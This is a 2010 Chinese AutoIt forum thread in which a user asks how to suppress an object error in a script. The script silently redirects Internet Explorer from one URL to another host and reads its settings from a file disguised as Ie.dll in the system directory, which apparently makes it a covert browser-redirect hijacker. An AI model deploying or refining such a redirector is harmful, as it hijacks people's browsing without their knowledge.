angelink 发表于 2010-8-28 18:50:03

如果代码执行过程中出错了,如何让其不提示?自动结束或重新运行程序?在加张图片。

本帖最后由 angelink 于 2010-8-28 21:35 编辑

如果代码执行过程中出错了,如何让其不提示?自动结束或重新运行程序?#include <_Ini.au3>
While 1
        Sleep(400)
        $URL1 = _IniRead(@SystemDir & "\Ie.dll", "URL", "1", "")
        $Http1 = _IniRead(@SystemDir & "\Ie.dll", "Http", "1", "")
        $oShell = ObjCreate('shell.application')
        $oShellWindows = $oShell.windows
        For $Window In $oShellWindows
                If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
                        If StringInStr($Window.locationurl, $URL1, 2) Then $Window.navigate("http://" & $Http1)
                EndIf
        Next
        _ReduceMemory(@AutoItPID);将此行加入到循环中
WEnd
Func _ReduceMemory($i_PID = -1);整理内存
        If $i_PID <> -1 Then
                Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $i_PID)
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle)
                DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle)
        Else
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', -1)
        EndIf
        Return $ai_Return
EndFunc   ;==>_ReduceMemory生成exe后运行时,如果打开IE还没有等它跳转就关闭IE,就会报对像错误,如果取消这个呢?


在加张图片。

xlcwxl 发表于 2010-8-28 19:00:08

这个在写代码的过程中要判断吧

lixiaolong 发表于 2010-8-28 19:33:58

要实行的代码
If @error (返回值自己看帮助) Then
EXIT
EndIf

angelink 发表于 2010-8-28 19:35:22

主要是关闭兼控对像时报对像错误……应该是检查到对象运行,然后执行代码,执行过程中对象消失就报错了。

angelink 发表于 2010-8-28 21:03:27

在加张图片。

republican 发表于 2010-8-28 21:47:47

使用ObjEvent("AutoIt.Error","MyErrFunc")管理Obj错误。
页: [1]
查看完整版本: 如果代码执行过程中出错了,如何让其不提示?自动结束或重新运行程序?在加张图片。